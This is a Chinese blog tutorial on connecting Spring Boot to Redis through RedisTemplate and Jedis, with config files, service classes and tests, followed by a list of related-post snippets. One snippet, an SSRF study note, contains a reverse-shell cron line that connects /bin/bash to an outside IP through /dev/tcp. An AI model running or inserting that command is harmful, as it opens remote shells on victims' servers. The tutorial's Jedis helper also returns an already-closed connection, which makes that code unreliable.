欲笺心事语斜阑
欲笺心事语斜阑

Springboot整合Redis

SpringBoot集成redisTemplate操作redis

依赖

pom.xml

  
         org.springframework.boot
            spring-boot-starter-redis
            1.4.1.RELEASE
        
        
            com.alibaba
            fastjson

        
        
            com.fasterxml.jackson.core
            jackson-databind
        
        
            org.springframework.boot
            spring-boot-starter-test

配置文件

application.yml

spring:
  redis:
    host: 127.0.0.1
    port: 6379
    database: 0
    password: qweasdzxc
    timeout: 30000
    jedis:
      pool:
        max-active: 8
        max-wait: 8
        min-idle: 0
        max-idle: 12

配置类

RedisConfig.class

import com.alibaba.fastjson.support.config.FastJsonConfig;
import com.alibaba.fastjson.support.spring.FastJsonRedisSerializer;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.Primary;
import org.springframework.data.redis.connection.RedisConnectionFactory;
import org.springframework.data.redis.connection.RedisPassword;
import org.springframework.data.redis.connection.RedisStandaloneConfiguration;
import org.springframework.data.redis.connection.jedis.JedisClientConfiguration;
import org.springframework.data.redis.connection.jedis.JedisConnectionFactory;
import org.springframework.data.redis.core.RedisTemplate;
import org.springframework.data.redis.core.StringRedisTemplate;
import java.nio.charset.StandardCharsets;
import java.time.Duration;

@Configuration
public class RedisConfig {

    @Value("${spring.redis.host}")
    private String host;
    @Value("${spring.redis.port}")
    private int port;
    @Value("${spring.redis.timeout}")
    private int timeout;
    @Value("${spring.redis.password}")
    private String password;
    @Value("${spring.redis.jedis.pool.max-active}")
    private int maxActive;
    @Value("${spring.redis.jedis.pool.max-wait}")
    private int maxWait;
    @Value("${spring.redis.jedis.pool.max-idle}")
    private int maxIdle;
    @Value("${spring.redis.jedis.pool.min-idle}")
    private int minIdle;
    @Value("${spring.redis.database}")
    private int database;


    @Bean
    @Primary
    public JedisConnectionFactory redisConnectionFactory() {
        // 初始化连接工厂
        RedisStandaloneConfiguration redisConfiguration = new RedisStandaloneConfiguration(host, port);
        redisConfiguration.setPassword(RedisPassword.of(password));
        redisConfiguration.setDatabase(database);
        JedisClientConfiguration build = JedisClientConfiguration.builder().connectTimeout(Duration.ofMillis(timeout)).build();//设置连接超时时间

        JedisConnectionFactory factory = new JedisConnectionFactory(redisConfiguration, build);
        factory.getPoolConfig().setMaxIdle(maxIdle);
        factory.getPoolConfig().setMinIdle(minIdle);
        factory.getPoolConfig().setMaxTotal(maxActive);
        factory.getPoolConfig().setMaxWaitMillis(maxWait);
        return factory;
    }

    @Bean
    @Primary
    public RedisTemplate getRedisTemplate(RedisConnectionFactory jedisConnectionFactory) {
        StringRedisTemplate template = new StringRedisTemplate(jedisConnectionFactory);
        setSerializer(template);
        template.afterPropertiesSet();
        return template;
    }

    //设置序列化工具
    private void setSerializer(StringRedisTemplate template) {
        FastJsonRedisSerializer objectFastJsonRedisSerializer = new FastJsonRedisSerializer(Object.class);
        FastJsonConfig fastJsonConfig = objectFastJsonRedisSerializer.getFastJsonConfig();
        fastJsonConfig.setCharset(StandardCharsets.UTF_8);
        fastJsonConfig.setSerializerFeatures();
 template.setValueSerializer(objectFastJsonRedisSerializer);
    }
}


调用类


RedisService.class


import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.data.redis.core.RedisTemplate;
import org.springframework.data.redis.core.SetOperations;
import org.springframework.data.redis.core.ZSetOperations;
import org.springframework.stereotype.Service;

import java.util.Set;
import java.util.concurrent.TimeUnit;

@Service
public class RedisService {

    @Autowired
    private RedisTemplate redisTemplate;

    public String getStringByKey(String key) {
        return redisTemplate.opsForValue().get(key);
    }

    public void setKey(String key, String value) {
        redisTemplate.opsForValue().set(key, value);
    }

    public void setKeyWithExpire(String key, String value, Long expireTime, TimeUnit timeUnit) {
        redisTemplate.opsForValue().set(key, value, expireTime, timeUnit);

    }
    public void remove(final String... keys) {
        for (String key : keys) {
            remove(key);
        }
    }

    public void removePattern(final String pattern) {
        Set keys = redisTemplate.keys(pattern);
        
        if ((keys != null ? keys.size() : 0) > 0) {
            redisTemplate.delete(keys);
        }
    }

    public void remove(final String key) {
        if (exists(key)) {
            redisTemplate.delete(key);
        }
    }

    public boolean exists(final String key) {
        return redisTemplate.hasKey(key);
    }

    public void lPush(String k, String v) {
        Long aLong = redisTemplate.opsForList().leftPush(k, v);
    }

    public void setAdd(String key, String value) {
        SetOperations set = redisTemplate.opsForSet();
        set.add(key, value);
    }

    public void zAdd(String key,String value,double scoure){
        ZSetOperations zset = redisTemplate.opsForZSet();
        zset.add(key,value,scoure);
    }

    public Set rangeByScore(String key,double min,double max){
        ZSetOperations zset = redisTemplate.opsForZSet();
        return zset.rangeByScore(key, min, max);
    }

}



测试类


RedisServiceTest.class


import org.junit.Ignore;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.test.context.junit4.SpringRunner;
import org.springframework.util.Assert;

import java.util.Set;
import java.util.concurrent.TimeUnit;

@SpringBootTest
@RunWith(SpringRunner.class)
public class RedisServiceTest {

    @Autowired
    private RedisService redisService;


    @Test
    public void setKey() {

        redisService.setKey("hello", "你好呀");
    }

    @Test
    public void getStringByKey() {
        String aaaaa = redisService.getStringByKey("new:key");
        Assert.hasText(aaaaa, "查询redis key new:key为空");
    }

    @Test
    public void setKeyWithExpire() {
        redisService.setKeyWithExpire("expire:key", "hello world", 10000L, TimeUnit.MILLISECONDS);
        String stringByKey = redisService.getStringByKey("expire:key");
        Assert.hasText(stringByKey, "查询redis key expire:key为空");
    }

    @Test
    @Ignore
    public void remove() {
        redisService.remove("expire:key");
    }

    @Test
    @Ignore
    public void exists() {
        boolean exists = redisService.exists("new:key");
        Assert.isTrue(exists, "人家不在");
    }

    @Test
    public void removePattern() {
        redisService.removePattern("new*");

    }

    @Test
    public void lPush() {
        redisService.lPush("new:list", "aaaa");
    }

    @Test
    public void setAdd() {
        redisService.setAdd("new:set", "ohhhhhhh");

    }

    @Test
    public void zAdd() {
        redisService.zAdd("new:zset", "啊啊啊", 1.0);
        redisService.zAdd("new:zset", "不不不", 3.0);
        redisService.zAdd("new:zset", "充充充", 4.0);
        redisService.zAdd("new:zset", "滴滴滴", 5.0);
    }

    @Test
    @Ignore
    public void rangeByScore() {
        Set strings = redisService.rangeByScore("new:zset", 4.1, 5.1);
        Assert.notEmpty(strings, "zset范围查询出现错误");
    }
}



Jedis操作redis


依赖


pom.xml


    
            org.springframework.boot
            spring-boot-starter
        

        
            org.springframework.boot
            spring-boot-starter-test
            test
        

        
            org.springframework.boot
            spring-boot-starter-web
        

        
            redis.clients
            jedis
        



配置文件


application.yml


spring:
  redis:
    host: 127.0.0.1
    port: 6379
    database: 0
    password: qweasdzxc
    timeout: 30000
    jedis:
      pool:
        max-active: 8
        max-wait: 8
        min-idle: 0
        max-idle: 12



配置类


RedisConfig.java


import org.springframework.beans.factory.annotation.Value;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import redis.clients.jedis.JedisPool;
import redis.clients.jedis.JedisPoolConfig;

@Configuration
public class RedisConfig {
    @Value("${spring.redis.host}")
    private String host;
    @Value("${spring.redis.port}")
    private int port;
    @Value("${spring.redis.timeout}")
    private int timeout;
    @Value("${spring.redis.password}")
    private String password;
    @Value("${spring.redis.jedis.pool.max-active}")
    private int maxActive;
    @Value("${spring.redis.jedis.pool.max-wait}")
    private int maxWait;
    @Value("${spring.redis.jedis.pool.max-idle}")
    private int maxIdle;
    @Value("${spring.redis.jedis.pool.min-idle}")
    private int minIdle;
    @Value("${spring.redis.database}")
    private int database;
    
    @Bean
    public JedisPool redisPoolFactory(){
        JedisPoolConfig jedisPoolConfig = new JedisPoolConfig();
        jedisPoolConfig.setMaxIdle(maxIdle);
        jedisPoolConfig.setMaxWaitMillis(maxWait);
        jedisPoolConfig.setMaxTotal(maxActive);
        jedisPoolConfig.setMinIdle(minIdle);
        return new JedisPool(jedisPoolConfig,host,port,timeout,password,database);
    }
}



调用工具类


JedisService.class


import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import redis.clients.jedis.Jedis;
import redis.clients.jedis.JedisPool;
import java.util.Set;
import java.util.concurrent.TimeUnit;

@Service
public class JedisService {

    @Autowired
    private JedisPool JedisPool;


    public Jedis getJedis() {
        try (Jedis resource = JedisPool.getResource()) {
            return resource;
        }
    }

    public String getStringByKey(String key) {
        String s = getJedis().get(key);
        return s;
    }

    public void setStringWithKey(String k, String v) {
        getJedis().set(k, v);
    }


    public void setKeyWithExpire(String key, String value, Long expireTime, TimeUnit timeUnit) {
        long l = timeUnit.toMillis(expireTime);
        Jedis jedis = getJedis();
        String set = jedis.set(key, value);
        jedis.pexpire(key, l);

    }

    public void remove(final String... keys) {
        for (String key : keys) {
            remove(key);
        }
    }

    public void removePattern(final String pattern) {
        Jedis jedis = getJedis();
        Set keys = jedis.keys(pattern);
        String[] strings = new String[10];
        String[] keyS = keys.toArray(strings);
        if ((keys != null ? keys.size() : 0) > 0) {
            jedis.del(keyS);
        }
    }

    public void remove(final String key) {
        if (exists(key)) {
            getJedis().del(key);
        }
    }

    public boolean exists(final String key) {
        return getJedis().exists(key);
    }

    public void lPush(String k, String v) {
        Long aLong = getJedis().lpush(k, v);
    }

    public void setAdd(String key, String value) {
        getJedis().sadd(key, value);
    }

    public void zAdd(String key, String value, double scoure) {
        getJedis().zadd(key, scoure, value);

    }
    public Set rangeByScore(String key, double min, double max) {
        return getJedis().zrangeByScore(key, min, max);
    }



测试类


JedisTest.class


import com.lee.boot.redis.jedis.service.JedisService;
import org.junit.Ignore;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.test.context.junit4.SpringRunner;
import org.springframework.util.Assert;

import java.util.Set;
import java.util.concurrent.TimeUnit;

@SpringBootTest
@RunWith(SpringRunner.class)
public class JedisTest {

    @Autowired
    JedisService jedisService;


    @Test
    public void setStringKey() {
        for (int i = 0; i < 10; i++) {
            jedisService.setStringWithKey("a" + i, "b" + i);
        }
    }


    @Test
    public void setKey() {

        jedisService.setStringWithKey("jedis", "你好呀");
    }

    @Test
    public void getStringByKey() {
        String aaaaa = jedisService.getStringByKey("new:key");
        Assert.hasText(aaaaa, "查询redis key new:key为空");
    }

    @Test
    public void setKeyWithExpire() {
        jedisService.setKeyWithExpire("expire:key", "hello world", 10000L, TimeUnit.MILLISECONDS);
        String stringByKey = jedisService.getStringByKey("expire:key");
        Assert.hasText(stringByKey, "查询redis key expire:key为空");
    }

    @Test
    @Ignore
    public void remove() {
        jedisService.remove("expire:key");
    }

    @Test
    @Ignore
    public void exists() {
        boolean exists = jedisService.exists("new:key");
        Assert.isTrue(exists, "人家不在");
    }

    @Test
    public void removePattern() {
        jedisService.removePattern("new*");

    }

    @Test
    public void lPush() {
        jedisService.lPush("new:list", "aaaa");
    }

    @Test
    public void setAdd() {
        jedisService.setAdd("new:set", "ohhhhhhh");

    }

    @Test
    public void zAdd() {
        jedisService.zAdd("new:zset", "啊啊啊", 1.0);
        jedisService.zAdd("new:zset", "不不不", 3.0);
        jedisService.zAdd("new:zset", "充充充", 4.0);
        jedisService.zAdd("new:zset", "滴滴滴", 5.0);
    }

    @Test
    @Ignore
    public void rangeByScore() {
        Set strings = jedisService.rangeByScore("new:zset", 4.1, 5.1);
        Assert.notEmpty(strings, "zset范围查询出现错误");
    }

}

























你可能感兴趣的:(Springboot整合Redis)






    

  • pycharm redis 库
O₂883
redis数据库缓存

    Redis（RemoteDictionaryServer）是一个开源的内存中数据结构存储系统，用作数据库、缓存和消息代理。它支持多种类型的数据结构，如字符串（strings）、哈希（hashes）、列表（lists）、集合（sets）、有序集合（sortedsets）和范围查询（bitmaps）、超日志（hyperloglogs）和地理空间（geospatial）索引半径查询。1、安装redis库
    

    • 

  • Java大文件上传方案(vue+饿了么)：秒传、断点续传、分片上传!
无与丶伦比丨
java开发语言

    前言本篇文章是基于其他文章的基础上结合自己的理解写出来的,如果哪里有问题请指出!详细教程秒传1、什么是秒传通俗的说，你把要上传的东西上传，服务器会先做MD5校验，如果服务器上有它就会进入秒传，想要不秒传，其实只要让MD5改变，就是对文件本身做一下修改（改名字不行），例如一个文本文件，你多加几个字，MD5就变了，就不会秒传了.2、本文实现的秒传核心逻辑a、利用redis的set方法存放文件上传状态，
    

    • 

  • 环境搭建：Redis 概述、安装与配置指南（含windows、macOS、Linux）
upgrador
#环境搭建rediswindowsmacoslinuxmysqloracle

    环境搭建：Redis概述、安装与配置指南（含windows、macOS、Linux）Redis是一个开源的内存数据结构存储系统，广泛应用于缓存、消息队列和实时分析等场景。本文将详细介绍如何在不同操作系统上安装和配置Redis，包括验证安装的步骤、配置文件的修改以及常见问题的解决方案。此外，我们将讨论Redis与MySQL和MongoDB的关系及其在不同应用场景中的作用。大纲环境搭建：Redis概述
    

    • 

  • ASP.NET Core 入门教学四 集成Redis
充值内卷
asp.netredis后端

    一、前言Redis是一个开源的、基于内存的数据结构存储系统，可以用作数据库、缓存和消息代理。ASP.NETCore与Redis结合使用，可以极大地提高应用程序的性能和响应速度。二、安装Redis首先，确保你已经在本地或服务器上安装了Redis。你可以从Redis官网下载并安装。三、安装.NETCoreSDK和Redis客户端库在你的ASP.NETCore项目中，安装以下NuGet包：dotneta
    

    • 

  • 【Redis缓存】- 入门——Redis介绍和环境搭建
丛鹏

    一、Redis概述1、什么是RedisRedis是一款高性能的NOSQL系列的非关系型数据库，是用C语言开发的一个开源的高性能键值对（key-value）数据库，官方提供测试数据，50个并发执行100000个请求，读的速度是110000次/s，写的速度是81000次/s，且Redis通过提供多种键值数据类型来适应不同场景下的存储需求，目前为止Redis支持的键值数据类型如下：字符串类型string
    

    • 

  • 社群扫码进群完整可运营源码
酷爱码
phpPHP

    源码介绍社群扫码进群完整可运营源码，对接免签约支付接口，推广正常绑定下级。1.安装上宝塔在配置这些环境就可以了2.搭建环境NginxMySQL5.6php7.23.php7.2安装扩展fileinforedisSwoolesg114.服务器需要安装linux的系统下载地址：社群扫码进群完整可运营源码
    

    • 

  • 项目中Redis常见的一些问题（缓存穿透，缓存雪崩，内存耗尽等）
rylzdz
缓存redis数据库

    缓存穿透缓存穿透是指查询一个不存在的数据，导致每次请求查询这个不存在的数据都会转发到数据库，可能导致数据库崩溃通常都会用布隆过滤器来解决它布隆过滤器布隆过滤器主要是用于检索一个元素是否在一个集合中。它的底层主要是先去初始化一个比较大数组，里面存放的二进制0或1。在一开始都是0，当一个key来了之后经过3次hash计算，找到对应的数据的下标然后把数组中原来的0改为1，这样的话，三个数组的位置就能标明
    

    • 

  • 2021-08-09
小咸鱼Leo00

    一、redis服务配置文件详解二、RDB/AOF详解及优缺点总结三、rediscluster扩、缩容四、LVS调试算法总结五、LVS的NAT/DR模型实现
    

    • 

  • Redis的内存淘汰策略—— volatile-random
Flying_Fish_Xuan
redis数据库缓存

    `volatile-random`策略简介在`volatile-random`策略下，当Redis的内存使用达到配置的上限（`maxmemory`）时，它会随机选择一个设置了过期时间的键进行删除，直到释放出足够的内存。这种策略不会考虑键的使用频率或最近访问时间，而是纯粹随机地选择设置了TTL的键进行删除。这种策略适用于以下场景：-需要在内存达到上限时优先删除临时数据，而不是所有数据。-数据访问模式
    

    • 

  • 社群扫码进群完整可运营源码
CSDN专家-微编程
PHP源码PHP

    源码介绍社群扫码进群完整可运营源码，对接免签约支付接口，推广正常绑定下级。1.安装上宝塔在配置这些环境就可以了2.搭建环境NginxMySQL5.6php7.23.php7.2安装扩展fileinforedisSwoolesg114.服务器需要安装linux的系统下载地址：社群扫码进群完整可运营源码
    

    • 

  • 09-redis-conf配置文件基础介绍
风在枝头
redis网络服务器

    redis-conf配置文件基础介绍这篇文章介绍了Redis-6.2.11的配置文件中的大多数配置，但是缺少集群的相关配置和其他一些配置，望大家知晓。此外，如果有错误之处，还希望大家指出错误之处，万分感谢！1.bind127.0.0.1bind127.0.0.1默认情况bind=127.0.0.1，代表只能接受本机的访问请求。后面的::1是ipv6的地址。在不写的bind情况下，代表无限制接受任何
    

    • 

  • ssrf做题随记--任务计划的写入、csrf简单知识
板栗妖怪
小记随笔学习

    目录ssrfcsrfssrf这里忘记写文档了，然后再次搭建环境一直成功不了所以这里以文字的方式记录一些要注意的点。redis在低版本下没有降权然后执行的时候是以root权限执行，到了高版本以后就不行了redis被降权了,且如果是高版本稳定版的话是没有办法写入也就是更加安全*****/bin/bash-i>&/dev/tcp/192.168.0.106/77770>&1centos写入任务计划是很正
    

    • 

  • 微服务CI/CD实践（二）服务器先决准备
lbmydream
微服务ci/cd服务器

    微服务CI/CD实践系列：微服务CI/CD实践（一）环境准备及虚拟机创建微服务CI/CD实践（二）服务器先决准备微服务CI/CD实践（三）gitlab部署微服务CI/CD实践（四）nexus3部署微服务CI/CD实践（五）数据库,redis,nacos等基础中间件部署微服务CI/CD实践（六）Jenkins部署微服务CI/CD实践（七）Server服务器环境初始化微服务CI/CD实践（八）Jenk
    

    • 

  • 后端开发刷题 | 面试篇4
jingling555
面试面试职场和发展java开发语言

    Redis有哪些数据类型字符串（Strings）：字符串是Redis中最基本的数据类型，它可以包含任何类型的数据，如整数、浮点数、字符串等。Redis的字符串是二进制安全的，这意味着你可以在其中存储任何类型的数据，如图片或序列化的对象。列表（Lists）：Redis的列表是简单的字符串列表，按照插入顺序排序。你可以从列表的两端添加或删除元素。列表的一个常见用途是消息队列。集合（Sets）：Redi
    

    • 

  • redis一文入门
鲨鱼学python
redis数据库python

    Redis是一个开源的内存数据结构存储系统，它可以用作数据库、缓存和消息代理。Redis支持多种数据结构，包括字符串、哈希、列表、集合和有序集合。它非常高效，广泛用于需要快速读写操作的应用场景。一、redis启动1、启动Redis服务器打开命令提示符（CMD）窗口，并进入Redis安装目录下的src文件夹。然后运行以下命令来启动Redis服务器：redis-server2、启动redis客户端另打
    

    • 

  • redis数据结构
bullion

    五种数据结构字符串（String）哈希（hash）字符串列表（list）字符串集合（set）有序字符串集合（sortedset）key命名定义的注意点不要过长不要过短统一的命名规范常用命令判断key是否存在：existskey删除key：delkey进入命令行：redis-cli权限：authpassword获取所有key：keys*字符串（String）二进制安全的，存入和获取的数据相同Valu
    

    • 

  • redis面试（二十三）写锁释放
木小同
redis面试redis面试数据库

    先加了写锁，后面再次加写锁或者读锁anyLock:{“mode”:“write”,“UUID_01:threadId_01:write”:2,“UUID_01:threadId_01”:1}写锁的释放lua脚本在这里RedissonWriteLock.unlockInnerAsync()比如说现在的参数是这KEYS[1]=anyLockKEYS[2]=redisson_rwlock:{anyLoc
    

    • 

  • redis面试（二十二）读锁释放
木小同
面试redisredis面试数据库读锁锁的释放redis锁

    假设现在已经有各种锁的重入什么的，那如何释放锁？读锁+读锁假如说，同一个线程多次加读锁，或者不同的线程加了多个读锁当前的锁结构长这样anyLock:{“mode”:“read”,“UUID_01:threadId_01”:2,“UUID_02:threadId_02”:1}{anyLock}:UUID_01:threadId_01:rwlock_timeout:11{anyLock}:UUID_0
    

    • 

  • springboot整合aop实现日志记录
walkerShen

    知识概况定义：在软件业，AOP为AspectOrientedProgramming的缩写，意为：面向切面编程，通过预编译方式和运行期间动态代理实现程序功能的统一维护的一种技术。AOP是OOP的延续，是软件开发中的一个热点，也是Spring框架中的一个重要内容，是函数式编程的一种衍生范型。利用AOP可以对业务逻辑的各个部分进行隔离，从而使得业务逻辑各部分之间的耦合度降低，提高程序的可重用性，同时提高
    

    • 

  • 《逸剑风云决》msvcr100.dll缺失错误的快速修复方法——步骤清晰的故障排除流程
Xixix777
经验分享玩游戏电脑

    在尝试运行游戏《逸剑风云决》时，不少玩家可能会遇到“找不到msvcr100.dll”或者“msvcr100.dll缺失”的错误提示。这个问题通常是由于游戏所需的MicrosoftVisualC++运行时库没有正确安装或损坏导致的。以下是一些详细的步骤来帮助你解决这个问题：1.重新安装VisualC++Redistributablemsvcr100.dll是MicrosoftVisualC++201
    

    • 

  • mysql容器性能优化_MySQL高级--性能优化
马克love
mysql容器性能优化

    1.应用优化1.1使用数据库连接池使用数据库连接池，避免数据库连接频繁的创建和销毁，进而减少资源的消耗，提高数据库的访问性能。1.2减少对MySQL的访问1.2.1避免数据重复检索能一次检索获取到结果，就不要进行俩次检索，减少对数据库的无用重请求。1.2.2增加cache层增加缓存层来减轻数据库负担。可以使用orm框架提供的一级/二级缓存，或者使用redis来缓存数据。1.3负载均衡1.3.1My
    

    • 

  • 编写组合helm, 组合之前的几个组件 -2
Wade_Crab
dockerkubernetes

    刚刚是独立安装，现在要组合他们到一个Chart里面—初入江湖要将Redis、MySQL和RocketMQ组合在一个HelmChart中，并且部署到同一个KubernetesPod或者同一个Helmrelease中，你可以创建一个自定义的HelmChart，将这三个服务作为子Chart来管理。1.创建自定义HelmChart首先，创建一个新的HelmChart：helmcreatemy-stack这
    

    • 

  • 关于vcruntime140.dll找不到的详细解决方法分析，一键修复vcruntime140.dll
电脑修复X
电脑故障修复dll丢失dll文件电脑程序故障dll

    我们有时会遇到“vcruntime140.dll找不到”的错误提示。这通常发生在尝试运行依赖于MicrosoftVisualC++2015Redistributable的程序时。vcruntime140.dll文件对于许多应用程序的运行是必须的，其缺失可能由系统升级、软件卸载或病毒感染等因素引起。不过，有几种有效的方法可以解决这一问题。接下来的内容将详细讲解如何修复vcruntime140.dll
    

    • 

  • 【redis】哨兵模式
HardCorePlayer
redis

    redis哨兵的高可用性在不使用rediscluster时，哨兵能够保证redis的高可用。redis哨兵也会提供其他的附带功能，如监控、通知、作为配置提供者。哨兵功能概述：监控：哨兵会不断检查主从实例是否正常工作。通知：哨兵可以通知系统或其他程序有某个监控下的实例出错了。自动故障恢复：当redis主节点不正常工作，哨兵会启动故障恢复程序，将从节点升级为主节点，其他的从节点会重新配置来使用新的主节
    

    • 

  • 【redis】主从的高可用
HardCorePlayer
redis

    Redis副本是如何保证高可用的在redis副本的基础上，redis提供了简单易用的主从模式。从节点会精确的从主节点复制数据，并且在连接中断的时候自动重连，无论主节点发生什么都会尝试复制数据。实现机制主要如下3种：当主从节点连接良好时，如果主节点数据集发生改变（包括客户端写入，key过期或删除，或其他影响数据集的操作），主节点会向从节点发送一系列命令来保证从节点更新数据。当主从之间的连接断开时，不
    

    • 

  • springBoot集成rabbitmq 之发布/订阅模式模式(Publish/Subscribe)
牛马狗猪猴
springbootjava-rabbitmqrabbitmqspringboot

    springBoot集成rabbitmq之发布/订阅模式模式(Publish/Subscribe)springBoot整合rabbitmq的例子:https://blog.csdn.net/weixin_45730866/article/details/128971917，建议先看。comsumer服务配置类importorg.springframework.amqp.core.Binding;i
    

    • 

  • kafka-生产者拦截器（SpringBoot整合Kafka）
小丁学Java
Kafkakafkaspringbootlinq生产者拦截器

    文章目录1、生产者拦截器1.1、创建生产者拦截器1.2、KafkaTemplate配置生产者拦截器1.3、使用Java代码创建主题分区副本1.4、application.yml配置----v1版1.5、屏蔽kafkadebug日志logback.xml1.6、引入spring-kafka依赖1.7、控制台日志1、生产者拦截器1.1、创建生产者拦截器packagecom.atguigu.kafka.
    

    • 

  • 渗透学习-8-信息打点-系统篇&端口扫描&CDN 服务&负载均衡&WAF 防火墙
wh00am
学习web安全网络安全

    知识点：1、获取网络信息-服务厂商&网络架构服务厂商-获知服务器的一些特性，比如阿里云会自带防护网络架构-获知网络架构的一些情况，多台服务器？比如学校或者大型机构，可能使用了反向代理机器，明明是在提供外网服务，但是可能探测不到什么有意义的资产，那么有可能就是这样情况网络架构反向代理实例在视频00:24:00左右2、获取服务信息-应用协议&内网资产web应用-FTPSSHRedis各种服务内网资产-
    

    • 

  • docker 和conda 常用命令
风行傲天
dockerconda容器

    docker命令#查看docker是否启动dockerinfo#查询所有镜像dockerimages#搜索镜像dockersearch镜像名如：dockersearchredis#拉取镜像dockerpull镜像名[:版本号]dockerpullredis或者dockerpullredis:latest#删除镜像dockerrmi'镜像名称'#docker运行dockerrun--namenaco
    

    • 

  • 初识Mybatis框架
澄岚明雪
mybatis

    什么是框架框架就是对技术的封装，将基础的技术进行封装，让程序员可以快速的使用，提高开发效率JAVA后端框架mybatis对jdbc进行封装spring对整个java后端架构进行管理的springweb对web层（servlet）进行封装springboot对spring框架的搭建进行封装Linux操作系统mysqlredisdocker开发好的项目部署到linux环境mybatis背景介绍：myb
    

    • 

  • 解线性方程组
qiuwanchi

    package gaodai.matrix;
import java.util.ArrayList;
import java.util.List;
import java.util.Scanner;
public class Test {
public static void main(String[] args) {
Scanner scanner = new Sc
    

    • 

  • 在mysql内部存储代码
annan211
性能mysql存储过程触发器

    
在mysql内部存储代码
在mysql内部存储代码，既有优点也有缺点，而且有人倡导有人反对。
先看优点：
1 她在服务器内部执行，离数据最近，另外在服务器上执行还可以节省带宽和网络延迟。
2 这是一种代码重用。可以方便的统一业务规则，保证某些行为的一致性，所以也可以提供一定的安全性。
3 可以简化代码的维护和版本更新。
4 可以帮助提升安全，比如提供更细
    

    • 

  • Android使用Asynchronous Http Client完成登录保存cookie的问题
hotsunshine
android

    Asynchronous Http Client是android中非常好的异步请求工具
除了异步之外还有很多封装比如json的处理，cookie的处理
引用
Persistent Cookie Storage with PersistentCookieStore
This library also includes a PersistentCookieStore whi
    

    • 

  • java面试题
Array_06
java面试

    java面试题
第一，谈谈final, finally, finalize的区别。
final-修饰符（关键字）如果一个类被声明为final，意味着它不能再派生出新的子类，不能作为父类被继承。因此一个类不能既被声明为 abstract的，又被声明为final的。将变量或方法声明为final，可以保证它们在使用中不被改变。被声明为final的变量必须在声明时给定初值，而在以后的引用中只能
    

    • 

  • 网站加速
oloz
网站加速

    前序:本人菜鸟，此文研究总结来源于互联网上的资料，大牛请勿喷！本人虚心学习，多指教.
1、减小网页体积的大小，尽量采用div+css模式，尽量避免复杂的页面结构，能简约就简约。
2、采用Gzip对网页进行压缩；
   GZIP最早由Jean-loup Gailly和Mark Adler创建，用于UNⅨ系统的文件压缩。我们在Linux中经常会用到后缀为.gz
    

    • 

  • 正确书写单例模式
随意而生
java 设计模式 单例

    　　单例模式算是设计模式中最容易理解，也是最容易手写代码的模式了吧。但是其中的坑却不少，所以也常作为面试题来考。本文主要对几种单例写法的整理，并分析其优缺点。很多都是一些老生常谈的问题，但如果你不知道如何创建一个线程安全的单例，不知道什么是双检锁，那这篇文章可能会帮助到你。
　　懒汉式，线程不安全
　　当被问到要实现一个单例模式时，很多人的第一反应是写出如下的代码，包括教科书上也是这样
    

    • 

  • 单例模式
香水浓
java

    懒汉  调用getInstance方法时实例化
public class Singleton {
private static Singleton instance;
private Singleton() {}
public static synchronized Singleton getInstance() {
if(null == ins
    

    • 

  • 安装Apache问题：系统找不到指定的文件 No installed service named "Apache2"
AdyZhang
apachehttp server

    安装Apache问题：系统找不到指定的文件 No installed service named "Apache2"
每次到这一步都很小心防它的端口冲突问题，结果，特意留出来的80端口就是不能用，烦。
解决方法确保几处：
1、停止IIS启动
2、把端口80改成其它 （譬如90，800，，，什么数字都好）
3、防火墙(关掉试试)
在运行处输入 cmd 回车，转到apa
    

    • 

  • 如何在android 文件选择器中选择多个图片或者视频？
aijuans
android

    我的android app有这样的需求，在进行照片和视频上传的时候，需要一次性的从照片/视频库选择多条进行上传
但是android原生态的sdk中，只能一个一个的进行选择和上传。
我想知道是否有其他的android上传库可以解决这个问题，提供一个多选的功能，可以使checkbox之类的，一次选择多个 处理方法
官方的图片选择器(但是不支持所有版本的androi，只支持API Level 
    

    • 

  • mysql中查询生日提醒的日期相关的sql
baalwolf
mysql

    SELECT sysid,user_name,birthday,listid,userhead_50,CONCAT(YEAR(CURDATE()),DATE_FORMAT(birthday,'-%m-%d')),CURDATE(),  dayofyear( CONCAT(YEAR(CURDATE()),DATE_FORMAT(birthday,'-%m-%d')))-dayofyear(
    

    • 

  • MongoDB索引文件破坏后导致查询错误的问题
BigBird2012
mongodb

    问题描述：
MongoDB在非正常情况下关闭时，可能会导致索引文件破坏，造成数据在更新时没有反映到索引上。
解决方案：
 
使用脚本，重建MongoDB所有表的索引。
var names = db.getCollectionNames();
for( var i in names ){
var name = names[i];
print(name); 
    

    • 

  • Javascript Promise
bijian1013
JavaScriptPromise

            Parse JavaScript SDK现在提供了支持大多数异步方法的兼容jquery的Promises模式，那么这意味着什么呢，读完下文你就了解了。
一.认识Promises
        “Promises”代表着在javascript程序里下一个伟大的范式，但是理解他们为什么如此伟大不是件简
    

    • 

  • [Zookeeper学习笔记九]Zookeeper源代码分析之Zookeeper构造过程
bit1129
zookeeper

       Zookeeper重载了几个构造函数，其中构造者可以提供参数最多，可定制性最多的构造函数是  
 
public ZooKeeper(String connectString, int sessionTimeout, Watcher watcher, long sessionId, byte[] sessionPasswd, boolea
    

    • 

  • 【Java命令三】jstack
bit1129
jstack

    jstack是用于获得当前运行的Java程序所有的线程的运行情况(thread dump），不同于jmap用于获得memory dump
 
[hadoop@hadoop sbin]$ jstack
Usage:
jstack [-l] <pid>
(to connect to running process)
jstack -F 
    

    • 

  • jboss 5.1启停脚本　动静分离部署
ronin47

    以前启动jboss，往各种xml配置文件，现只要运行一句脚本即可。start nohup sh /**/run.sh -c servicename  -b ip -g  clustername   -u broatcast jboss.messaging.ServerPeerID=int  -Djboss.service.binding.set=p
    

    • 

  • UI之如何打磨设计能力?
brotherlamp
UIui教程ui自学ui资料ui视频

     
在越来越拥挤的初创企业世界里，视觉设计的重要性往往可以与杀手级用户体验比肩。在许多情况下，尤其对于 Web 初创企业而言，这两者都是不可或缺的。前不久我们在《右脑革命：别学编程了，学艺术吧》中也曾发出过重视设计的呼吁。如何才能提高初创企业的设计能力呢?以下是 9 位创始人的体会。
1.找到自己的方式
